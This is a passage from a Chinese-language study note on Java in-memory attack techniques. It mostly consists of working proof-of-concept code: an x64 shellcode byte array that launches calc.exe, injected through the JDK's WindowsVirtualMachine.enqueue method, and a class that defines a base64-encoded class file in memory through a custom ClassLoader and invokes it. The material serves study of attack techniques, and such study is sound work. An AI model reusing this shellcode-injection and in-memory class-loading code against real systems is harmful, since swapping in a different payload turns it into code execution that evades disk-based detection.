                (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
            };

        try {
            enqueue(-1L, buf, "test", "test");
        } catch (Exception var2) {
            Exception e = var2;
            e.printStackTrace();
        }

    }
}

将其编译为 class 文件并且进行 base64 编码就可以得到一串字符串。而下述代码中的 classStr 就是这串字符串。

java
package org.example;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Permission;
import java.util.Arrays;
import java.util.Base64;

public class Poc {

    public static class Myloader extends ClassLoader // 继承 ClassLoader
    {
        public Class get(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }

    }

    public static void main(String[] args)
    {

        try {

            String classStr="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";
            Class result = new Myloader().get(Base64.getDecoder().decode(classStr));

            for (Method m:result.getDeclaredMethods())
            {
                System.out.println(m.getName());
                if (m.getName().equals("run"))
                {
                    m.invoke(result,new byte[]{});
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行后弹出计算器。

其实到这里文章还没讲完,还有一大部分,所以分开到下一篇咯。

参考链接

本文为学习笔记,主要参考均来自Java 内存攻击技术漫谈

  1. https://xz.aliyun.com/t/10075